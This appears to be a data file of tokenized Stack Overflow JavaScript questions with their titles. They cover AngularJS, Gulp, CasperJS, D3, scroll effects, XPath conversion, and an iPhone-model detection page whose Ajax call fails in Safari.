.replaceAll ( `` ' '' , ' & # 39 ; ' ) .replaceAll ( ' < ' , ' & lt ; ' ) .replaceAll ( ' > ' , ' & gt ; ' ) ;",What is replaceAll performance secret ? [ HTML escape ] "JS : I need to minify automatically all files when some change occurs in my js or less files.I have some Tasks for Minify my less files and js files called 'styles ' , 'services ' and 'controlles'.For minify this files i just execute this task and everything forks fine : Instead run this task manually i want to do automatic in development mode . How i can do this ? gulp.task ( 'minify ' , [ 'styles ' , 'services ' , 'controllers ' ] ) ;",GulpJS Task automatically minify when file changes "JS : I have a list of objects in my scope and want to iterate over them , show some of their properties in ordered-by-some-property way and change them.ng-repeat is used to display textboxes binded to each object of my list and orderby filter which takes `` position '' as a parameter is applied.Once again , position is also editable ! Now we change position of certain object once ( angular reorders the list as expected ) and then change twice . Angular does not reorder the list.Could anyone explain how it is possible to fix this reorder-only-once situation and what are the reasons for such a behaviour ? Here is fiddle : JSFiddleHTMLJS < div ng-controller= '' MyCtrl '' > < p > List of activities : < /p > < div ng-repeat= '' activity in model.activities | orderBy : 'position ' '' > < textarea type= '' text '' ng-model= '' activity.name '' > < /textarea > { { activity.name } } < input type= '' text '' ng-model= '' activity.position '' > < /div > < /div > var myApp = angular.module ( 'myApp ' , [ ] ) ; function MyCtrl ( $ scope ) { $ scope.model = { activities : [ { name : `` activity 1 '' , position : 1 } , { name : `` activity 2 '' , position : 2 } , { name : `` activity 3 '' , position : 3 } , { name : `` activity 4 '' , position : 4 } , { name : `` activity 5 '' , position : 5 } ] } ; }",AngularJS orderby does n't work when orderby-property is edited "JS : I have this code loaded on my site I have Ajax in the bottom of the page . I am sure why is it not triggering on iPhone Safari . or maybe it is being executed , but there are some errors . Note : that same code on Chrome or Safari on Mac OS X . ✅Ajax does triggered , and working fine . ✅ Ajax does not seem to trigger on iPhone Safari Am I using any old syntax that Safari on iPhone not recognize ? How would one go about and debug this further ? < ! DOCTYPE html > < html lang= '' en '' > < head > < title > fingerprinting < /title > < meta name= '' csrf-token '' content= '' { { csrf_token ( ) } } '' > < /head > < body > < script src= '' https : //ajax.googleapis.com/ajax/libs/jquery/3.3.1/jquery.min.js '' > < /script > < h1 > page loaded. < /h1 > < h1 id= '' model '' > < /h1 > < script type= '' text/javascript '' > // console.log ( window ) ; function getIPhoneModel ( ) { // Create a canvas element which can be used to retrieve information about the GPU . var canvas = document.createElement ( `` canvas '' ) ; if ( canvas ) { var context = canvas.getContext ( `` webgl '' ) || canvas.getContext ( `` experimental-webgl '' ) ; if ( context ) { var info = context.getExtension ( `` WEBGL_debug_renderer_info '' ) ; if ( info ) { var renderer = context.getParameter ( info.UNMASKED_RENDERER_WEBGL ) ; } } } // iPhone X if ( ( window.screen.height / window.screen.width == 812 / 375 ) & & ( window.devicePixelRatio == 3 ) ) { return `` iPhone X '' ; } else if ( ( window.screen.height / window.screen.width == 896 / 414 ) & & ( window.devicePixelRatio == 3 ) ) { return `` iPhone XS Max '' ; } else if ( ( window.screen.height / window.screen.width == 896 / 414 ) & & ( window.devicePixelRatio == 2 ) ) { return `` iPhone XR '' ; } else if ( ( window.screen.height / window.screen.width == 1024 / 768 ) & & ( window.devicePixelRatio == 2 ) ) { return `` iPad 4 '' ; } else if ( ( window.screen.height / window.screen.width == 736 / 414 ) & & ( window.devicePixelRatio == 3 ) ) { switch ( renderer ) { default : return `` iPhone 6 Plus , 6s Plus , 7 Plus or 8 Plus '' ; case `` Apple A8 GPU '' : return `` iPhone 6 Plus '' ; case `` Apple A9 GPU '' : return `` iPhone 6s Plus '' ; case `` Apple A10 GPU '' : return `` iPhone 7 Plus '' ; case `` Apple A11 GPU '' : return `` iPhone 8 Plus '' ; } // iPhone 6+/6s+/7+ and 8+ in zoom mode } else if ( ( window.screen.height / window.screen.width == 667 / 375 ) & & ( window.devicePixelRatio == 3 ) ) { switch ( renderer ) { default : return `` iPhone 6 Plus , 6s Plus , 7 Plus or 8 Plus ( display zoom ) '' ; case `` Apple A8 GPU '' : return `` iPhone 6 Plus ( display zoom ) '' ; case `` Apple A9 GPU '' : return `` iPhone 6s Plus ( display zoom ) '' ; case `` Apple A10 GPU '' : return `` iPhone 7 Plus ( display zoom ) '' ; case `` Apple A11 GPU '' : return `` iPhone 8 Plus ( display zoom ) '' ; } // iPhone 6/6s/7 and 8 } else if ( ( window.screen.height / window.screen.width == 667 / 375 ) & & ( window.devicePixelRatio == 2 ) ) { switch ( renderer ) { default : return `` iPhone 6 , 6s , 7 or 8 '' ; case `` Apple A8 GPU '' : return `` iPhone 6 '' ; case `` Apple A9 GPU '' : return `` iPhone 6s '' ; case `` Apple A10 GPU '' : return `` iPhone 7 '' ; case `` Apple A11 GPU '' : return `` iPhone 8 '' ; } // iPhone 5/5C/5s/SE or 6/6s/7 and 8 in zoom mode } else if ( ( window.screen.height / window.screen.width == 1.775 ) & & ( window.devicePixelRatio == 2 ) ) { switch ( renderer ) { default : return `` iPhone 5 , 5C , 5S , SE or 6 , 6s , 7 and 8 ( display zoom ) '' ; case `` PowerVR SGX 543 '' : return `` iPhone 5 or 5c '' ; case `` Apple A7 GPU '' : return `` iPhone 5s '' ; case `` Apple A8 GPU '' : return `` iPhone 6 ( display zoom ) '' ; case `` Apple A9 GPU '' : return `` iPhone SE or 6s ( display zoom ) '' ; case `` Apple A10 GPU '' : return `` iPhone 7 ( display zoom ) '' ; case `` Apple A11 GPU '' : return `` iPhone 8 ( display zoom ) '' ; } // iPhone 4/4s } else if ( ( window.screen.height / window.screen.width == 1.5 ) & & ( window.devicePixelRatio == 2 ) ) { switch ( renderer ) { default : return `` iPhone 4 or 4s '' ; case `` PowerVR SGX 535 '' : return `` iPhone 4 '' ; case `` PowerVR SGX 543 '' : return `` iPhone 4s '' ; } // iPhone 1/3G/3GS } else if ( ( window.screen.height / window.screen.width == 1.5 ) & & ( window.devicePixelRatio == 1 ) ) { switch ( renderer ) { default : return `` iPhone 1 , 3G or 3GS '' ; case `` ALP0298C05 '' : return `` iPhone 3GS '' ; case `` S5L8900 '' : return `` iPhone 1 , 3G '' ; } } else { return `` Not an iPhone '' ; } } var model = getIPhoneModel ( ) console.log ( model ) ; $ ( ' # model ' ) .text ( model ) ; var currentUrl = window.location.href ; var newUrl = currentUrl.replace ( `` fingerprinting '' , `` fingerprinting/tasks '' ) ; // alert ( newUrl ) ; $ .ajax ( { method : 'POST ' , url : `` { { $ APP_URL } } fingerprinting/store '' , data : { 'original_uri ' : ' { ! ! $ original_uri ! ! } ' , 'model ' : model , } , headers : { ' X-CSRF-TOKEN ' : $ ( 'meta [ name= '' csrf-token '' ] ' ) .attr ( 'content ' ) } , success : function ( response ) { console.log ( response ) ; window.location.href = newUrl ; } , error : function ( jqXHR , textStatus , errorThrown ) { console.log ( JSON.stringify ( jqXHR ) ) ; console.log ( `` AJAX error : `` + textStatus + ' : ' + errorThrown ) ; } } ) ; < /script > < h1 > JS finished loaded. < /h1 > < /body > < /html >",How do I check status of my Ajax request running on my iPhone Safari ? "JS : This is valid XPath in Javascript : And this turned into valid PHP XPath to be used with DOMXPath- > query ( ) isdo you know any libraries or custom components that already do this transformation ? do you know available documentation that lists the two syntax differences ? My main concern is that there could be a lot of differences , and I am looking to identify these differences , and I have problems to identify these . The question could be put also in different way : Since Javascript can have different valid XPath formats , how to normalize them to work with the PHP.One of the updates also mention that the id ( ) function is valid XPath if there is a valid DTD that contains this definition . I do n't have power over the input DTD , and if there is a way to find a solution that works without any specific DTD it would be awesome.Update : I want to transform the first format into the second with an algorithm . My input is the first one and not the second one . Ca n't change this.As @ Nison Maël pointed out , the 2nd format is valid Javascript XPath as presented here : http : //jsbin.com/elatum/2/edit this unfortunately just adds to the problem of Javascript XPath `` fragmentation '' . @ salathe pointed out that the valid Javascript XPath query works fine in PHP if the input documented has valid DTD ( @ Dimitre Novatchev mentioned this in a comment , but overlooked the importance ) . Unfortunately I do n't have control of the input DTD , so now I have to investigate a way to overcome this , or to find a solution that works even without valid DTD . id ( `` priceInfo '' ) /div [ @ class= '' standardProdPricingGroup '' ] /span [ 1 ] //* [ @ id= '' priceInfo '' ] //div [ @ class= '' standardProdPricingGroup '' ] //span [ 1 ]",Transform Javascript XPath in valid PHP query ( ) XPath | normalize JS XPath -- > PHP "JS : I 'm trying to use CasperJS as a web scraper , and there 's a page with buttons that will load data when clicked . So , I 'd like to click all of these buttons first and wait before actually making a query to grab all the necessary data.The problem is that with Casper , casper.thenClick ( selector ) clicks the first element . But how do you iterate and click each element based on the selector ? Note that these buttons do not have ids . They all have generic class selectors.Ex.And for some reason casper.thenClick ( `` h3 : contains ( 'text 1 ' ) .load-btn '' ) does n't work . < h3 > < span > Text 1 < /span > < span > < button class= '' load-btn '' > show < /button > < /span > < /h3 > < h3 > < span > Text 2 < /span > < span > < button class= '' load-btn '' > show < /button > < /span > < /h3 > < h3 > < span > Text 3 < /span > < span > < button class= '' load-btn '' > show < /button > < /span > < /h3 >",CasperJS : How do you click on all selected buttons ? "JS : I have a grid of buttons four across by two deep , say 800px wide by 400px deep . Mousing over any button shows a smaller layer centered over the buttons ( say 700 x 300 px ) . I 'm attaching the mouseenter and mouseleave events to a class assigned to all the buttons , which swaps the img src for all the buttons , and a separate function to show the specific layer element for each button . So when you mouse over any button , all the buttons are greyed out and a specific layer is displayed on top of them , and when the mouse leaves the button , the layer is hidden and the buttons return to the default state.This works fine , but I want to prevent the buttons from changing back to their default state when the mouse is over the visible layer . So if you move the mouse from the button onto the layer superimposed above it , all the buttons remain greyed out . If the mouse leaves the layer , then the layer is hidden and all the buttons revert to their default state.I 've tried creating a global javascript var to prevent the mouseleave event from firing when the mouse is over the visible layer , and setting that var when the mouse enters the visible layer , but the mouseleave event fires before I can set the global var ... I 'm caught in a chicken-and-egg loop ? I 'm setting my mouseenter/leave here : on each button , I 'm setting the layer to display : and on each layer , I 'm trying to set the global var to prevent the mouseleave event from firing and resetting the buttons to their default state : but of course , setting the global var here is too late , because the button 's mouseleave event is triggered before the global var can be set to true ? window.lyrEntered = false ; jQuery ( function ( ) { $ ( `` .img-swap '' ) .mouseenter ( function ( ) { $ ( `` .img-swap '' ) .each ( function ( ) { this.src = this.src.replace ( `` _on '' , `` _off '' ) ; } ) ; } ) ; $ ( `` .img-swap '' ) .mouseleave ( function ( ) { //if layer entered , keep button state if ( lyrEntered ) { } else { //reset buttons if layer entered is false $ ( `` .img-swap '' ) .each ( function ( ) { this.src = this.src.replace ( `` _off '' , `` _on '' ) ; //reset button state window.lyrEntered = false ; } ) ; } ; } ) ; } ) ; function showIt ( lyr ) { $ ( lyr ) .show ( ) ; } < img src= '' images/img1.jpg '' alt= '' img1 '' class= '' img-swap '' id= '' img1 '' onmouseover= '' showIt ( ' # layer1 ' ) ; '' onmouseout= '' $ ( ' # layer1 ' ) .hide ( ) ; '' / > < div id= '' layer1 '' onmouseout= '' $ ( ' # layer1 ' ) .hide ( ) ; window.lyrEntered = false ; '' onmouseover= '' $ ( ' # layer1 ' ) .show ( ) ; window.lyrEntered = true ; `` > [ content here ] < /div >",Conditional logic for mouseleave "JS : What I want to Achieve is that I have a Select field in angular6 on the basis of the selected value I want to hide and display another div.Here is the code . *ngIf does make an impact when I switch it for the first time but not after that . the change is not detected.I have even tried setting up the visibility attribute of style as well as [ hidden ] directive but got the same result.I have even tried giving an on change method but no change in result.version information : Both these controls are under a form 'ngForm ' . < div class= '' form-group '' > < label for= '' servicePriviledges '' > Managed < /label > < select type= '' text '' class= '' form-control '' id= '' managedServiceInfo '' name= '' managedInfo '' [ ( ngModel ) ] = '' managed '' > < option value= '' false '' > False < /option > < option value= '' true '' > True < /option > < /select > < br > < /div > < div class= '' form-group '' *ngIf= '' managed '' > < label for= '' managerType '' > Manager Type < /label > < select type= '' text '' aria-hidden= '' false '' class= '' form-control '' id= '' managerType '' name= '' managerType '' > < option value= '' false '' > False < /option > < option value= '' true '' > True < /option > < /select > < /div > `` @ angular/core '' : `` ^6.1.6 '' , '' @ angular/forms '' : `` ^6.1.6 '' ,",*ngif Not working after first click . Angular 6 "JS : I would like to know if there is any text direction on Phaser.js Text classlike when user input some text , then the text input in the canvas will have a text direction of right to left or left to right ; and I 'm implementing this on whole canvas applicationexample in the normal html we can attain this using the css propertiesanyone has any idea on how to do it.i was reading on the phaser.js text class but can not find any properties to set the direction to right to left but no luck.thanks in advance ; direction : ltr , direction : rtl",Text Direction in Phaser.js "JS : I 've got a page using Cycle2 to run a slideshow with a hide show element to it.It 's all working great , except when I expand the slide and close it again , the height goes off . If I slightly resize the window , this will trigger the recalculation and then the space from the height gets put back right.I 'm usingI basically just need to trigger this action that happens on a resize . Any tips ? data-cycle-auto-height= '' container ''",Trigger a height calc - jQuery Cycle2 "JS : I am trying to create a smooth scrolling experience **with* a bounce effect when the user over-scrolls , i.e . scrolls too much to the bottom or top . This answer answers how to scroll smoothly , but I 'm also trying to bounce when it scrolls out of bounds . Something like this : Note . Although this gif shows for mobile , I want to implement that for all browsers , desktop and mobil.I tried adding the following code to the interval : But it does n't give the desired effect . It does n't bounce at the correct scrolling time , and the bounce is n't real looking , it 's not big enough . ( I 'm looking for something like this effect , but I want to create it myself , and understand the code . ) How can I create a bouncing effect when the scroll goes to the top or bottom ? I do n't want answers with a link to a complex library because I want to create it myself . And I want vanilla JavaScript.JSFiddle // 50 = Paddingif ( tgt.scrollTop < 50 || tgt.scrollTop > tgt.scrollHeight - tgt.offsetHeight - 50 ) { pos = Math.bounce ( step++ , start , change , steps ) ; } else { pos = Math.easeOut ( step++ , start , change , steps ) ; } console.clear ( ) ; /* Smooth scroll */Math.easeOut = function ( t , b , c , d ) { t /= d ; return -c * t * ( t - 2 ) + b ; } ; // Out Back QuarticMath.bounce = function ( t , b , c , d ) { var ts = ( t /= d ) * t ; var tc = ts * t ; return b + c * ( 4 * tc + -9 * ts + 6 * t ) ; } ; ( function ( ) { // do not mess global space var interval , // scroll is being eased mult = 0 , // how fast do we scroll dir = 0 , // 1 = scroll down , -1 = scroll up steps = 50 , // how many steps in animation length = 30 ; // how long to animate function MouseWheelHandler ( e ) { e.preventDefault ( ) ; // prevent default browser scroll clearInterval ( interval ) ; // cancel previous animation ++mult ; // we are going to scroll faster var delta = -Math.max ( -1 , Math.min ( 1 , ( e.wheelDelta || -e.detail ) ) ) ; if ( dir ! = delta ) { // scroll direction changed mult = 1 ; // start slowly dir = delta ; } for ( var tgt = e.target ; tgt ! = document.documentElement ; tgt = tgt.parentNode ) { var oldScroll = tgt.scrollTop ; tgt.scrollTop += delta ; if ( oldScroll ! = tgt.scrollTop ) break ; } var start = tgt.scrollTop ; var end = start + length * mult * delta ; // where to end the scroll var change = end - start ; // base change in one step var step = 0 ; // current step interval = setInterval ( function ( ) { var pos ; // 50 = Padding if ( tgt.scrollTop < 50 || tgt.scrollTop > tgt.scrollHeight - tgt.offsetHeight - 50 ) { pos = Math.bounce ( step++ , start , change , steps ) ; } else { pos = Math.easeOut ( step++ , start , change , steps ) ; } tgt.scrollTop = pos ; if ( step > = steps ) { // scroll finished without speed up - stop by easing out mult = 0 ; clearInterval ( interval ) ; } } , 10 ) ; } var myP = document.getElementById ( 'myP ' ) ; myP.addEventListener ( `` mousewheel '' , MouseWheelHandler , false ) ; // window.addEventListener ( `` DOMMouseScroll '' , MouseWheelHandler , false ) ; } ) ( ) ; p { height : 300px ; overflow : auto ; background-color : orange ; padding : 50px 0 ; } < p id= '' myP '' > Lorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempusLorem ipsum dolor sit amet consectetuer laoreet faucibus id ut et . Consequat Ut tellus enim ante nulla molestie vitae sem interdum turpis . Fames ridiculus cursus pellentesque Vestibulum justo sem lorem neque accumsan nulla . Lacinia Suspendisse vitae libero sem et laoreet risus Sed condimentum Cras . Nunc massa mauris tempor dolor pulvinar justo neque dui ipsum vitae . Lacinia dui scelerisque Sed convallis nonummy orci Vestibulum orci tempus < /p >",Add bounce effect to scroll "JS : Can anybody explain to me why Angularjs ngIf directive reads ' f ' and ' F ' like false ? Simple example which does not work : If you put ' f ' or ' F ' nothing shows in div , any other letter or sine works ok.Demo : http : //plnkr.co/edit/wS4PqmARXG2fsblUkLpH ? p=preview < input type= '' text '' ng-model= '' test '' / > < div ng-if= '' test '' > { { test } } < div >",AngularJS ng-if problems with ' f ' and ' F ' "JS : I 'm very new to D3 and I 've run into a bit of a problem . Wondering if someone could help.I 'm trying to create a grouped stack chart using d3 . The nature of the graph is such that every group has 2 bars and the value of the second depends on the first bar . I want the second bar to be a breakdown of what I have on the first bar . A simple illustration would be if the value on the first bar is say { x : 0 , y : 3 , y0 : 0 } , the second bar should be { x : 0 , y : 1 , y0 : 0 } , { x : 0 , y : 1 , y0 : 1 } , { x : 0 , y : 1 , y0 : 2 } So for data that would be plotted for the first bar chart : I would have these values for the second stacked bar-chart : I used some of the code I could find from the examples I saw and tried to make it work . this is what I 've been able to do so far : See illustrationI would appreciate any help . ThanksSee screenshot of what I want to achieve . { `` series '' : `` A '' , `` values '' : [ { `` x '' : 0 , `` y '' : 1 , } , { `` x '' : 1 , `` y '' : 2 , } , { `` x '' : 2 , `` y '' : 3 , } , { `` x '' : 3 , `` y '' : 1 , } , { `` x '' : 4 , `` y '' : 3 , } ] } , { `` series '' : `` B '' , `` values '' : [ { `` x '' : 0 , `` y '' : 3 , } , { `` x '' : 1 , `` y '' : 1 , } , { `` x '' : 2 , `` y '' : 1 , } , { `` x '' : 3 , `` y 